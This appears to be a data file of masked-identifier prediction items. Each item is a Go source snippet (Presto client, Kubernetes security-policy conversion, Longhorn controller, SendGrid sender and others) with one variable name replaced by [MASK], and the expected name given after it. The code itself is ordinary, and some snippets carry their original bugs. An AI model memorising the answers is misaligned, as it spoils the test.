leavesqty int symbol string } var ( pairDelimiter = ""\001"" kvDelimiter = ""="" stocks []Stock ) func init() { [MASK] , err := ioutil.ReadFile(""./symbols.json"") if err != nil { panic(""Can not read symbols data"") } if err := json.Unmarshal( [MASK] , &stocks); err != nil { panic(err) } } func NewFix() Fix { return &Fix{ clordid: uuid.v4(), orderid: uuid.v4(), orderqty: rand.Int(10000), leavesqty: orderqty, // choose a random stock symbol between zero and the symbol slice len symbol: randomStockSymbol(), } } type Stock struct { Price float64 `json:""price""` Company string `json:""company""` Symbol string `json:""symbol""` } func randomStockSymbol() string { return stocks[rand.Int(len(s))].Symbol } ",byt 132,"package presto import ( ""encoding/json"" ""errors"" ""fmt"" ""io"" ""net/http"" ""net/url"" ""reflect"" ""regexp"" ""strings"" ""time"" ) var ( // state FAILED = ""FAILED"" ) type Presto struct { URL string DefaultHeader http.Header } func New(config *Config) *Presto { presto := &Presto{ URL: config.Host, DefaultHeader: make(http.Header, 4), } presto.SetHeader(config) return presto } func (this *Presto) SetHeader(config *Config) { val := reflect.ValueOf(config).Elem() for i := 0; i < val.NumField(); i++ { valueField := val.Field(i) typeField := val.Type().Field(i) tag := typeField.Tag key := fmt.Sprintf(""X-Presto-%s"", convertCamelToHyphen(typeField.Name)) value := valueField.String() if value == """" { value = tag.Get(""default"") } this.DefaultHeader.Set(key, value) } } func (this *Presto) Query(query string) (*QueryResult, error) { endpoint := fmt.Sprintf(""%s/v1/statement"", this.URL) req, err := this.Request(""POST"", endpoint, strings.NewReader(query)) if err != nil { return nil, err } resp, err := Do(req) if err != nil { return nil, err } var queryResult QueryResult err = json.NewDecoder(resp.Body).Decode(&queryResult) resp.Body.Close() if err != nil { return nil, err } if queryResult.Stats.State == FAILED { return &QueryResult{}, queryResult.Error } queryResult.Presto = this return &queryResult, nil } func (this *Presto) Request(method, endpoint string, body io.Reader) (*http.Request, error) { [MASK] , _ := url.Parse(endpoint) req, err := http.NewRequest(method, [MASK] .String(), body) if err != nil { return nil, err } for idx, _ := range this.DefaultHeader { req.Header[idx] = this.DefaultHeader[idx] } return req, nil } func Do(req *http.Request) (*http.Response, error) { for { resp, err := http.DefaultClient.Do(req) if err != nil { return nil, err } switch resp.StatusCode { case 200: return resp, nil case 503: time.Sleep(1 * time.Millisecond) continue default: resp.Body.Close() return nil, errors.New(""Query Error"") } } } func convertCamelToHyphen(s string) string { camel := regexp.MustCompile(""(^[^A-Z]*|[A-Z]*)([A-Z][^A-Z]+|$)"") var a []string for _, sub := range camel.FindAllStringSubmatch(s, -1) { if sub[1] != """" { a = append(a, sub[1]) } if sub[2] != """" { a = append(a, sub[2]) } } return strings.ToLower(strings.Join(a, ""-"")) } ",parsedUrl 133,"package tsmdbs import ( ""time"" ""gonum.org/v1/gonum/stat"" ) func to_float(src []interface{}) []float64 { [MASK] := make([]float64, 0) for n := 0; n < len(src); n++ { switch v := src[n].(type) { case float64: [MASK] = append( [MASK] , v) case int64: [MASK] = append( [MASK] , float64(v)) } } return [MASK] } func mean(src []float64) float64 { return stat.Mean(src, nil) } func stddev(src []float64) float64 { return stat.StdDev(src, nil) } func stderr(src []float64) float64 { d := stat.StdDev(src, nil) n := float64(len(src)) return stat.StdErr(d, n) } func variance(src []float64) float64 { return stat.Variance(src, nil) } func skew(src []float64) float64 { return stat.Skew(src, nil) } func mode(src []float64) float64 { m, _ := stat.Mode(src, nil) return m } func harmonicmean(src []float64) float64 { return stat.HarmonicMean(src, nil) } func geometricmean(src []float64) float64 { return stat.GeometricMean(src, nil) } func entropy(src []float64) float64 { return stat.Entropy(src) } func (ts *TSMDBS) ts_lib_config() error { ts.qctx[""now""] = time.Now ts.qctx[""query""] = Query ts.qctx[""metric""] = Insert_Metric ts.qctx[""start""] = Start ts.qctx[""end""] = End ts.qctx[""float""] = to_float ts.qctx[""mean""] = mean ts.qctx[""stddev""] = stddev ts.qctx[""stderr""] = stderr ts.qctx[""variance""] = variance ts.qctx[""skew""] = skew ts.qctx[""mode""] = mode ts.qctx[""harmonicmean""] = harmonicmean ts.qctx[""geometricmean""] = geometricmean ts.qctx[""entropy""] = entropy return nil } ",out 134,"package client import ( ""errors"" ""strconv"" ""github.com/hopex-hk/go_sdk/core"" ""github.com/hopex-hk/go_sdk/core/logging/zaplogger"" ""github.com/hopex-hk/go_sdk/model"" ) type AccountClient struct { requester core.HttpRequester } func (c *AccountClient) InitByDefault(cfg *core.Config) *AccountClient { c.requester = new(core.DefaultHttpRequester).Init(cfg, new(zaplogger.ZapLogger)) return c } func (c *AccountClient) Init(requester core.HttpRequester) *AccountClient { c.requester = requester return c } //get account information //https://hopex-hk.github.io/docs/contract/v1/cn/#hopex-7 func (c *AccountClient) GetUserInfo() (*model.UserInfo, error) { res := model.NewGetUserInfoResponse() err := c.requester.Get(""/api/v1/userinfo"", nil, true, res) if err != nil { return nil, err } return res.Data, nil } //get account wallet information //doc: https://hopex-hk.github.io/docs/contract/v1/cn/#224168edc1 func (c *AccountClient) GetWalletInfo() (*model.WalletInfo, error) { res := model.NewGetWalletResponse() err := c.requester.Get(""/api/v1/wallet"", nil, true, res) if err != nil { return nil, err } return res.Data, nil } //get account wallet information v2 func (c *AccountClient) GetWalletInfoV2() (*model.WalletInfo, error) { res := model.NewGetWalletResponse() err := c.requester.Get(""/api/v2/wallet"", nil, true, res) if err != nil { return nil, err } return res.Data, nil } //get account history //doc: https://hopex-hk.github.io/docs/contract/v1/cn/#8e62101ca9 func (c *AccountClient) GetAccountHistory(page, limit int) (*model.AccountHistoryList, error) { if page < 1 { return nil, errors.New(""page must >=1"") } if limit <= 0 { return nil, errors.New(""limit must >0"") } [MASK] := map[string]string{ ""page"": strconv.Itoa(page), ""limit"": strconv.Itoa(limit), } res := model.NewGetAccountHistoryResponse() err := c.requester.Get(""/api/v1/account_records"", [MASK] , true, res) if err != nil { return nil, err } return res.Data, nil } ",queries 135,"package minimax_example import ( ""context"" ""encoding/json"" ""fmt"" ""github.com/comqositi/kpllms"" ""github.com/comqositi/kpllms/minimax"" ""github.com/comqositi/kpllms/schema"" ""testing"" ) var baseUrl = ""https://api.minimax.chat/v1"" var modelName = ""abab5.5-chat"" func TestChat(t *testing.T) { llm, err := minimax.NewChat(minimax.WithBaseUrl(baseUrl), minimax.WithModel(""abab6-chat"")) if err != nil { fmt.Println(err.Error()) return } messages := []*schema.ChatMessage{ { Role: schema.RoleSystem, Content: ""你是一个 AI助手"", }, { Role: schema.RoleUser, Content: ""今天天气怎么样"", }, } resp, err := llm.Chat(context.Background(), messages) if err != nil { fmt.Println(err.Error()) return } b, err := json.Marshal(resp) if err != nil { fmt.Println(err.Error()) return } fmt.Println(string(b)) } func TestStreamChat(t *testing.T) { llm, err := minimax.NewChat(minimax.WithBaseUrl(baseUrl), minimax.WithModel(""abab5.5-chat"")) if err != nil { fmt.Println(err.Error()) return } messages := []*schema.ChatMessage{ { Role: schema.RoleSystem, Content: ""你是一个 AI助手"", }, { Role: schema.RoleUser, Content: ""今天天气怎么样"", }, } resp, err := llm.Chat(context.Background(), messages, kpllms.WithStreamingFunc(func(ctx context.Context, chunk []byte, innerErr error) error { fmt.Println(""chunk"", string(chunk)) return nil })) if err != nil { fmt.Println(err.Error()) return } b, err := json.Marshal(resp) if err != nil { fmt.Println(err.Error()) return } fmt.Println(string(b)) } func TestFunctionCall(t *testing.T) { llm, err := minimax.NewChat(minimax.WithBaseUrl(baseUrl), minimax.WithModel(""abab5.5-chat"")) if err != nil { fmt.Println(err.Error()) return } messages := []*schema.ChatMessage{ { Role: schema.RoleSystem, Content: ""你是一个 AI助手"", }, { Role: schema.RoleUser, Content: ""北京靠谱前程网络技术有限公司发票"", }, //{ // Role: schema.RoleAssistant, // Content: ""北京靠谱前程网络技术有限公司发票信息是:2000万"", //}, //{ // Role: schema.RoleUser, // Content: ""你叫什么名字"", //}, } tools := []*kpllms.Tool{ //{ // Type: ""function"", // Function: &kpllms.FunctionDefinition{ // Name: ""getWeather"", // Description: ""根据地区获取天气情况"", // Parameters: schema.Definition{ // Type: schema.Object, // Properties: map[string]schema.Definition{ // ""location"": { // Type: schema.String, // Description: ""城市或者地区"", // }, // ""unit"": { // Type: schema.String, // Enum: []string{""上海"", ""武汉""}, // }, // }, // Required: []string{""location""}, // }, // }, //}, { Type: ""function"", Function: &kpllms.FunctionDefinition{ Name: ""getFapiao"", Description: ""根据企业名称获取企业的发票信息"", Parameters: schema.Definition{ Type: schema.Object, Properties: map[string]schema.Definition{ ""company_name"": { Type: schema.String, Description: ""企业名称"", }, }, Required: []string{""company_name""}, }, }, }, } resp, err := llm.Chat(context.Background(), messages, kpllms.WithStreamingFunc(func(ctx context.Context, chunk []byte, innerErr error) error { fmt.Println(""chunk"", chunk) return nil }), kpllms.WithTools(tools), ) if err != nil { fmt.Println(err.Error()) return } b, err := json.Marshal(resp) if err != nil { fmt.Println(err.Error()) return } fmt.Println(string(b)) return //if resp.Choices[0].StopReason != ""tool_calls"" { // return //} if resp.Choices[0].ToolCalls == nil { return } // 如果返回的是 函数, 将返回的函数和执行函数的结果,再次加入上下文,请求回答 messages = append(messages, &schema.ChatMessage{ Role: schema.RoleAssistant, ToolCalls: resp.Choices[0].ToolCalls, }) for k, v := range resp.Choices[0].ToolCalls { if v.Function.Name == ""getWeather"" { var m map[string]string _ = json.Unmarshal([]byte(v.Function.Arguments), &m) messages = append(messages, &schema.ChatMessage{ Role: schema.RoleTool, Content: getWeather(m[""location""]), ToolCallId: resp.Choices[0].ToolCalls[k].Id, }) } else if v.Function.Name == ""getFapiao"" { var m map[string]string _ = json.Unmarshal([]byte(v.Function.Arguments), &m) messages = append(messages, &schema.ChatMessage{ Role: schema.RoleTool, Content: getFapiao(m[""company_name""]), ToolCallId: resp.Choices[0].ToolCalls[k].Id, }) } } b, _ = json.Marshal(messages) fmt.Println(string(b)) resp, err = llm.Chat(context.Background(), messages, kpllms.WithModel(modelName), kpllms.WithStreamingFunc(func(ctx context.Context, chunk []byte, innerErr error) error { fmt.Println(string(chunk)) return nil }, ), ) if err != nil { fmt.Println(err.Error()) return } b, _ = json.Marshal(resp) fmt.Println(string(b)) } func getWeather(area string) string { res := map[string]string{ ""area"": area, ""result"": ""天气晴,气温 15-18度"", } b, _ := json.Marshal(res) return string(b) } func getFapiao(corpName string) string { res := map[string]string{ ""company_name"": corpName, ""content"": ""2023年共开票: 2000万人名币"", } b, _ := json.Marshal(res) return string(b) } // 测试向量化 func TestEmbedding(t *testing.T) { llmEmb, err := minimax.NewChat(minimax.WithBaseUrl(baseUrl)) if err != nil { fmt.Println(err.Error()) return } texts := []string{ ""hello"", ""你好"", } res, err := llmEmb.EmbedDocuments(context.Background(), texts) if err != nil { fmt.Println(err.Error()) return } fmt.Printf(""res EmbedDocuments length : %d \n"", len(res)) fmt.Printf(""res EmbedDocuments 向量长度: %d \n"", len(res[0])) [MASK] , err := llmEmb.EmbedQuery(context.Background(), ""你好"") if err != nil { fmt.Println(err.Error()) return } fmt.Printf(""res query length : %d \n"", len( [MASK] )) } func TestCloseChain(t *testing.T) { c := make(chan string) close(c) close(c) } ",res1 136,"package server import ( ""net/http"" ""github.com/gin-gonic/gin"" ""gorm.io/gorm"" ) var Db *gorm.DB func RunServer(){ Db, _ = ConnectToDatabase() r := gin.Default(); r.LoadHTMLGlob(""server/static/**/*.html"") r.GET(""/ping"", func(ctx *gin.Context) { ctx.JSON(http.StatusTeapot, gin.H { ""message"": ""pong"", }) }) r.GET(""/"", func(c *gin.Context){ c.HTML(http.StatusOK, ""main.html"", gin.H { ""title"":""Home"", ""file"":""main.html"", ""model"": 3, }) }) r.POST(""/api/folder"", func(ctx *gin.Context) { [MASK] := CreateFolderRequest{} err := ctx.ShouldBindJSON(& [MASK] ) if err != nil { ctx.Status(http.StatusBadRequest) return } Db.Create(&Folder{ Name: [MASK] .Name}) ctx.Status(http.StatusCreated) }) r.Run(""localhost:8080"") } type CreateFolderRequest struct { Name string } ",request 137,"/* Copyright The Kmodules Authors. Licensed under the Apache License, Version 2.0 (the ""License""); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an ""AS IS"" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */package v1beta1 import ( ""fmt"" ""math"" scc ""kmodules.xyz/openshift/apis/security/v1"" api ""kmodules.xyz/security-policy-api/apis/policy/v1beta1"" ""gomodules.xyz/pointer"" policy ""k8s.io/api/policy/v1beta1"" metav1 ""k8s.io/apimachinery/pkg/apis/meta/v1"" ""k8s.io/apimachinery/pkg/runtime"" ""k8s.io/utils/integer"" ) func ConvertToSecurityPolicy(obj runtime.Object) (*api.SecurityPolicy, error) { switch t := obj.(type) { case *policy.PodSecurityPolicy: return FromPodSecurityPolicy(t), nil case *scc.SecurityContextConstraints: return FromSecurityContextConstraints(t), nil default: return nil, fmt.Errorf(""the object is not a security policy"") } } func ToPodSecurityPolicy(in *api.SecurityPolicy) *policy.PodSecurityPolicy { if in == nil { return nil } return &policy.PodSecurityPolicy{ TypeMeta: metav1.TypeMeta{ APIVersion: policy.SchemeGroupVersion.String(), Kind: api.KindPodSecurityPolicy, }, ObjectMeta: in.ObjectMeta, Spec: in.Spec.PodSecurityPolicySpec, } } func FromPodSecurityPolicy(in *policy.PodSecurityPolicy) *api.SecurityPolicy { if in == nil { return nil } return &api.SecurityPolicy{ TypeMeta: metav1.TypeMeta{ APIVersion: policy.SchemeGroupVersion.String(), Kind: api.KindPodSecurityPolicy, }, ObjectMeta: in.ObjectMeta, Spec: api.SecurityPolicySpec{ PodSecurityPolicySpec: in.Spec, }, } } func ToSecurityContextConstraints(in *api.SecurityPolicy) *scc.SecurityContextConstraints { if in == nil { return nil } return &scc.SecurityContextConstraints{ TypeMeta: metav1.TypeMeta{ APIVersion: scc.GroupVersion.String(), Kind: api.KindSecurityContextConstraints, }, ObjectMeta: in.ObjectMeta, AllowedCapabilities: in.Spec.AllowedCapabilities, AllowedFlexVolumes: toAllowedFlexVolumes(in.Spec.AllowedFlexVolumes), AllowedUnsafeSysctls: in.Spec.AllowedUnsafeSysctls, AllowHostDirVolumePlugin: len(in.Spec.AllowedHostPaths) > 0, AllowHostIPC: in.Spec.HostIPC, AllowHostNetwork: in.Spec.HostNetwork, AllowHostPID: in.Spec.HostPID, AllowHostPorts: len(in.Spec.HostPorts) > 0, AllowPrivilegedContainer: in.Spec.Privileged, AllowPrivilegeEscalation: in.Spec.AllowPrivilegeEscalation, DefaultAddCapabilities: in.Spec.DefaultAddCapabilities, DefaultAllowPrivilegeEscalation: in.Spec.DefaultAllowPrivilegeEscalation, ForbiddenSysctls: in.Spec.ForbiddenSysctls, FSGroup: toFSGroupStrategyOptions(in.Spec.FSGroup), Groups: in.Spec.Groups, Priority: in.Spec.Priority, ReadOnlyRootFilesystem: in.Spec.ReadOnlyRootFilesystem, RequiredDropCapabilities: in.Spec.RequiredDropCapabilities, RunAsUser: toRunAsUserStrategyOptions(in.Spec.RunAsUser), SeccompProfiles: in.Spec.SeccompProfiles, SELinuxContext: toSELinuxContextStrategyOptions(in.Spec.SELinux), SupplementalGroups: toSupplementalGroupsStrategyOptions(in.Spec.SupplementalGroups), Users: in.Spec.Users, Volumes: toFSTypes(in.Spec.Volumes), } } func FromSecurityContextConstraints(in *scc.SecurityContextConstraints) *api.SecurityPolicy { if in == nil { return nil } return &api.SecurityPolicy{ TypeMeta: metav1.TypeMeta{ APIVersion: scc.GroupVersion.String(), Kind: api.KindSecurityContextConstraints, }, ObjectMeta: in.ObjectMeta, Spec: api.SecurityPolicySpec{ PodSecurityPolicySpec: policy.PodSecurityPolicySpec{ AllowedCapabilities: in.AllowedCapabilities, AllowedFlexVolumes: fromAllowedFlexVolumes(in.AllowedFlexVolumes), AllowedUnsafeSysctls: in.AllowedUnsafeSysctls, AllowedHostPaths: fromAllowHostDirVolumePlugin(in.AllowHostDirVolumePlugin), HostIPC: in.AllowHostIPC, HostNetwork: in.AllowHostNetwork, HostPID: in.AllowHostPID, HostPorts: fromAllowHostPorts(in.AllowHostPorts), AllowPrivilegeEscalation: in.AllowPrivilegeEscalation, DefaultAddCapabilities: in.DefaultAddCapabilities, DefaultAllowPrivilegeEscalation: in.DefaultAllowPrivilegeEscalation, ForbiddenSysctls: in.ForbiddenSysctls, FSGroup: fromFSGroupStrategyOptions(in.FSGroup), Privileged: in.AllowPrivilegedContainer, ReadOnlyRootFilesystem: in.ReadOnlyRootFilesystem, RequiredDropCapabilities: in.RequiredDropCapabilities, RunAsUser: fromRunAsUserStrategyOptions(in.RunAsUser), SELinux: fromSELinuxContextStrategyOptions(in.SELinuxContext), SupplementalGroups: fromSupplementalGroupsStrategyOptions(in.SupplementalGroups), Volumes: fromFSTypes(in.Volumes), }, Groups: in.Groups, Priority: in.Priority, SeccompProfiles: in.SeccompProfiles, Users: in.Users, }, } } func fromAllowHostDirVolumePlugin( [MASK] bool) []policy.AllowedHostPath { if [MASK] { return []policy.AllowedHostPath{} } return []policy.AllowedHostPath{ // making a safe bet that it is ok to read /tmp files { PathPrefix: ""/tmp"", ReadOnly: true, }, } } func fromAllowHostPorts(allowHostPorts bool) []policy.HostPortRange { if !allowHostPorts { return nil } return []policy.HostPortRange{ { Min: 0, Max: 65535, }, } } func toAllowedFlexVolumes(in []policy.AllowedFlexVolume) []scc.AllowedFlexVolume { out := make([]scc.AllowedFlexVolume, 0, len(in)) for _, x := range in { out = append(out, scc.AllowedFlexVolume{ Driver: x.Driver, }) } return out } func fromAllowedFlexVolumes(in []scc.AllowedFlexVolume) []policy.AllowedFlexVolume { out := make([]policy.AllowedFlexVolume, 0, len(in)) for _, x := range in { out = append(out, policy.AllowedFlexVolume{ Driver: x.Driver, }) } return out } func toFSGroupStrategyOptions(in policy.FSGroupStrategyOptions) scc.FSGroupStrategyOptions { return scc.FSGroupStrategyOptions{ Type: scc.FSGroupStrategyType(string(in.Rule)), Ranges: toIDRange(in.Ranges), } } func fromFSGroupStrategyOptions(in scc.FSGroupStrategyOptions) policy.FSGroupStrategyOptions { return policy.FSGroupStrategyOptions{ Rule: policy.FSGroupStrategyType(string(in.Type)), Ranges: fromIDRange(in.Ranges), } } func toIDRange(in []policy.IDRange) []scc.IDRange { out := make([]scc.IDRange, 0, len(in)) for _, x := range in { out = append(out, scc.IDRange{ Min: x.Min, Max: x.Max, }) } return out } func fromIDRange(in []scc.IDRange) []policy.IDRange { out := make([]policy.IDRange, 0, len(in)) for _, x := range in { out = append(out, policy.IDRange{ Min: x.Min, Max: x.Max, }) } return out } func toRunAsUserStrategyOptions(in policy.RunAsUserStrategyOptions) scc.RunAsUserStrategyOptions { var out scc.RunAsUserStrategyOptions out.Type = scc.RunAsUserStrategyType(string(in.Rule)) if len(in.Ranges) == 1 { if in.Ranges[0].Min == in.Ranges[0].Max { out.UID = pointer.Int64P(in.Ranges[0].Min) } else { out.Type = scc.RunAsUserStrategyMustRunAsRange out.UIDRangeMin = pointer.Int64P(in.Ranges[0].Min) out.UIDRangeMax = pointer.Int64P(in.Ranges[0].Max) } } else if len(in.Ranges) > 1 { var min int64 = math.MaxInt64 var max int64 = math.MinInt64 for _, x := range in.Ranges { min = integer.Int64Min(min, x.Min) max = integer.Int64Max(max, x.Max) } if min == max { out.UID = pointer.Int64P(min) } else { out.Type = scc.RunAsUserStrategyMustRunAsRange out.UIDRangeMin = pointer.Int64P(min) out.UIDRangeMax = pointer.Int64P(max) } } return out } func fromRunAsUserStrategyOptions(in scc.RunAsUserStrategyOptions) policy.RunAsUserStrategyOptions { var out policy.RunAsUserStrategyOptions out.Rule = policy.RunAsUserStrategy(string(in.Type)) if in.UID != nil { out.Ranges = []policy.IDRange{ { Min: *in.UID, Max: *in.UID, }, } } else if in.UIDRangeMin != nil && in.UIDRangeMax != nil { out.Ranges = []policy.IDRange{ { Min: *in.UIDRangeMin, Max: *in.UIDRangeMax, }, } } return out } func toSELinuxContextStrategyOptions(in policy.SELinuxStrategyOptions) scc.SELinuxContextStrategyOptions { return scc.SELinuxContextStrategyOptions{ Type: scc.SELinuxContextStrategyType(string(in.Rule)), SELinuxOptions: in.SELinuxOptions, } } func fromSELinuxContextStrategyOptions(in scc.SELinuxContextStrategyOptions) policy.SELinuxStrategyOptions { return policy.SELinuxStrategyOptions{ Rule: policy.SELinuxStrategy(string(in.Type)), SELinuxOptions: in.SELinuxOptions, } } func toSupplementalGroupsStrategyOptions(in policy.SupplementalGroupsStrategyOptions) scc.SupplementalGroupsStrategyOptions { if in.Rule == policy.SupplementalGroupsStrategyMayRunAs { panic(""unsupported"") } return scc.SupplementalGroupsStrategyOptions{ Type: scc.SupplementalGroupsStrategyType(string(in.Rule)), Ranges: toIDRange(in.Ranges), } } func fromSupplementalGroupsStrategyOptions(in scc.SupplementalGroupsStrategyOptions) policy.SupplementalGroupsStrategyOptions { return policy.SupplementalGroupsStrategyOptions{ Rule: policy.SupplementalGroupsStrategyType(string(in.Type)), Ranges: fromIDRange(in.Ranges), } } func toFSTypes(in []policy.FSType) []scc.FSType { out := make([]scc.FSType, 0, len(in)) for _, x := range in { out = append(out, scc.FSType(string(x))) } return out } func fromFSTypes(in []scc.FSType) []policy.FSType { out := make([]policy.FSType, 0, len(in)) for _, x := range in { out = append(out, policy.FSType(string(x))) } return out } ",allowHostDirVolumePlugin 138,"package main import ( ""context"" ""fmt"" ""os"" ""strings"" ""time"" longhornV1Beta2 ""github.com/longhorn/longhorn-manager/k8s/pkg/apis/longhorn/v1beta2"" longhorn ""github.com/longhorn/longhorn-manager/k8s/pkg/client/clientset/versioned"" ""github.com/pkg/errors"" metav1 ""k8s.io/apimachinery/pkg/apis/meta/v1"" ""k8s.io/apimachinery/pkg/runtime"" ""k8s.io/apimachinery/pkg/watch"" ""github.com/spotahome/kooper/v2/controller"" kooperLogger ""github.com/spotahome/kooper/v2/log"" ""go.uber.org/zap"" ""k8s.io/client-go/rest"" ""k8s.io/client-go/tools/cache"" ) type Logger struct { *zap.SugaredLogger } type Disk struct { name string path string } var ( zapLogger, _ = zap.NewProduction() log = Logger{zapLogger.Sugar()} nodeNamePattern = os.Getenv(""NODE_NAME_PATTERN"") diskConfigString = os.Getenv(""DISK_CONFIG"") refreshDuration = 30 ) // Add functions to satisfy kooper's logging interface func (l Logger) Warningf(template string, args ...interface{}) { l.Warnf(template, args) } func (l Logger) WithKV(kv kooperLogger.KV) kooperLogger.Logger { return l } // Read Filesystem File func readFile(path string) string { fileBytes, err := os.ReadFile(path) if err != nil { log.Fatalf(""Error reading file: %s"", err) return """" } return strings.TrimSuffix(string(fileBytes), ""\n"") } // Parse Disk Config func parseDiskConfig(cfg string) ([]Disk, error) { disks := []Disk{} diskDefinition := strings.Split(strings.ReplaceAll(cfg, "" "", """"), "","") for _, def := range diskDefinition { diskData := strings.Split(def, "":"") if len(diskData) != 2 { return disks, errors.New(""error parsing the disk configuration"") } disks = append(disks, Disk{ name: string(diskData[0]), path: string(diskData[1]), }) } return disks, nil } func run() error { // Variables namespace := readFile(""/var/run/secrets/kubernetes.io/serviceaccount/namespace"") diskConfig, err := parseDiskConfig(diskConfigString) if err != nil { return fmt.Errorf(""error loading disk configuration: %w"", err) } // Configure Longhorn client k8scfg, err := rest.InClusterConfig() if err != nil { return fmt.Errorf(""error loading kubernetes configuration: %w"", err) } longhorncli, err := longhorn.NewForConfig(k8scfg) if err != nil { return fmt.Errorf(""error creating longhorn client: %w"", err) } // Handler handler := controller.HandlerFunc(func(_ context.Context, [MASK] runtime.Object) error { node, ok := [MASK] .(*longhornV1Beta2.Node) if ok && strings.Contains(node.Name, nodeNamePattern) { dataChanged := false nodeData := node.DeepCopy() nodeDisks := nodeData.Spec.Disks for _, diskData := range diskConfig { if _, ok := nodeDisks[diskData.name]; !ok { nodeDisks[diskData.name] = longhornV1Beta2.DiskSpec{ Type: ""filesystem"", Path: diskData.path, AllowScheduling: true, EvictionRequested: false, StorageReserved: 0, Tags: []string{}, } dataChanged = true nodeData.Spec.Disks = nodeDisks log.Infof(""Added disk: %s mounted at %s"", diskData.name, diskData.path) } } if dataChanged { _, err := longhorncli.LonghornV1beta2().Nodes(namespace).Update(context.TODO(), nodeData, metav1.UpdateOptions{}) if err != nil { return fmt.Errorf(""error updating node: %w"", err) } log.Infof(""Node %s updated"", node.Name) } } return nil }) // Controller for Longhorn Nodes nodeController, err := controller.New(&controller.Config{ Name: ""longhorn-disk-attacher-node-controller"", Logger: log, ConcurrentWorkers: 1, ProcessingJobRetries: 5, ResyncInterval: time.Duration(refreshDuration) * time.Second, Handler: handler, Retriever: controller.MustRetrieverFromListerWatcher(&cache.ListWatch{ ListFunc: func(options metav1.ListOptions) (runtime.Object, error) { return longhorncli.LonghornV1beta2().Nodes(namespace).List(context.Background(), options) }, WatchFunc: func(options metav1.ListOptions) (watch.Interface, error) { return longhorncli.LonghornV1beta2().Nodes(namespace).Watch(context.Background(), options) }, }), }) if err != nil { return fmt.Errorf(""could not create controller: %w"", err) } // Start the controllers ctx, cancel := context.WithCancel(context.Background()) defer cancel() errC := make(chan error) go func() { errC <- nodeController.Run(ctx) }() // Wait until one exits err = <-errC if err != nil { return fmt.Errorf(""error running controllers: %w"", err) } return nil } func main() { log.Info(""Starting..."") err := run() if err != nil { log.Fatalf(""error running app: %s"", err) } os.Exit(0) } ",obj 139,"// Copyright 2024 The Casdoor Authors. All Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the ""License""); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an ""AS IS"" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. package email import ( ""encoding/json"" ""fmt"" ""strings"" ""github.com/sendgrid/sendgrid-go"" ""github.com/sendgrid/sendgrid-go/helpers/mail"" ) type SendgridEmailProvider struct { ApiKey string } type SendgridResponseBody struct { Errors []struct { Message string `json:""message""` Field interface{} `json:""field""` Help interface{} `json:""help""` } `json:""errors""` } func NewSendgridEmailProvider(apiKey string) *SendgridEmailProvider { return &SendgridEmailProvider{ApiKey: apiKey} } func (s *SendgridEmailProvider) Send(fromAddress string, fromName, toAddress string, [MASK] string, content string) error { from := mail.NewEmail(fromName, fromAddress) to := mail.NewEmail("""", toAddress) message := mail.NewSingleEmail(from, [MASK] , to, """", content) client := sendgrid.NewSendClient(s.ApiKey) response, err := client.Send(message) if err != nil { return err } if response.StatusCode >= 300 { var responseBody SendgridResponseBody err = json.Unmarshal([]byte(response.Body), &responseBody) if err != nil { return err } messages := []string{} for _, sendgridError := range responseBody.Errors { messages = append(messages, sendgridError.Message) } return fmt.Errorf(""SendGrid status code: %d, error message: %s"", response.StatusCode, strings.Join(messages, "" | "")) } return nil } ",subject 140,"package main import ( ""bufio"" ""os"" ""path/filepath"" ""regexp"" ""strings"" ) var mainFinder = regexp.MustCompile(`^(?:(?:/\*(?:.|[\r\n])*?\*/)|(?://.*\n))*package\s+main`) func getTargets() map[string]string { targets := map[string]string{} processed := map[string]bool{} toResolve := map[string][]string{} [MASK] := func(path string, info os.FileInfo, err error) error { if string(path[0]) == ""."" { return filepath.SkipDir } if !info.IsDir() { // We're looking at a file somewhere fileDir := filepath.Dir(path) if processed[fileDir] { // only need to process one .go file per directory return nil } if filepath.Ext(path) == "".go"" { // We've found the first .go file in this directory debug(""looking at"", path) // check for ""package main"" fh, err := os.Open(path) if err != nil { fatal(""error opening source file:"", err) } defer fh.Close() buf := bufio.NewReader(fh) if !mainFinder.MatchReader(buf) { // If the first .go file we find doesn't have ""package main"" // at the beginning, we're not interested in this directory debug(`does not have ""package main""`) processed[fileDir] = true return nil } // Found package main, this is a binary targetName := filepath.Base(fileDir) debugf(""found \""package main\"", adding target [%s]\n"", targetName) // See if there is a conflicting target name if _, found := targets[targetName]; found { debug(""Conflicting target name"", targetName, ""found"") // Is this the first conflict? Start the queue with the // original if so. if _, found := toResolve[targetName]; !found { toResolve[targetName] = []string{targets[targetName]} } // Add the conflicting target toResolve[targetName] = append(toResolve[targetName], fileDir) } else { // Add the target hame targets[targetName] = fileDir } processed[fileDir] = true } } return nil } err := filepath.Walk(cwd, [MASK] ) if err != nil { fatal(""Error scanning directory:"", err) } // resolve any conflicting target names for targetName, paths := range toResolve { // remove the conflicting entry from the targets list delete(targets, targetName) for _, path := range paths { newTargetName := strings.Replace(path, cwd, """", 1) newTargetName = strings.Replace(newTargetName, string(os.PathSeparator), """", 1) newTargetName = strings.Replace(newTargetName, string(os.PathSeparator), ""_"", -1) targets[newTargetName] = path } } return targets } ",walkFn 141,"package client import ( ""fmt"" ""github.com/go-akeneo/go-akeneo/api"" ""io"" ""net/http"" ""github.com/go-akeneo/go-akeneo/security"" ) type authenticationApi interface { Authenticate(clientId, secret string, requestBody io.Reader) (api.AuthenticationResponse, error) AuthenticateByPassword(clientId, secret, username, password string) (api.AuthenticationResponse, error) AuthenticateByRefreshToken(clientId, secret, refreshToken string) (api.AuthenticationResponse, error) } type AuthenticatedHttpClient struct { httpClient HttpClient authentication security.Authentication authenticationApi authenticationApi } func NewAuthenticatedHttpClient(httpClient HttpClient, auth security.Authentication, authenticationApi authenticationApi) AuthenticatedHttpClient { return AuthenticatedHttpClient{ httpClient: httpClient, authentication: auth, authenticationApi: authenticationApi, } } func (a AuthenticatedHttpClient) SendRequest( [MASK] , uri string, headers map[string]string, body io.Reader) (*http.Response, error) { if a.authentication.AccessToken == """" { ar, err := a.authenticationApi.AuthenticateByPassword(a.authentication.ClientId, 